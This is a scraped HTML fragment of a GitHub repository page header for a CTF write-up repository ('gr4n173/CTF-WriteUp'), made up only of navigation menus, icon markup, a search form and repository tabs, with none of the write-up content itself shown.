<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268424549" data-scoped-search-url="/gr4n173/CTF-WriteUp/search" data-owner-scoped-search-url="/users/gr4n173/search" data-unscoped-search-url="/search" data-turbo="false" action="/gr4n173/CTF-WriteUp/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="N5OdLdDDqXV0OBH5Ojyd1iyIjyRQi2/1bpqFY4l+MZ9XgrA22KuVjA0Axz2szF3HTF+N/AkkPfoAjdhDoZ/mMA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> gr4n173 </span> <span>/</span> CTF-WriteUp
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
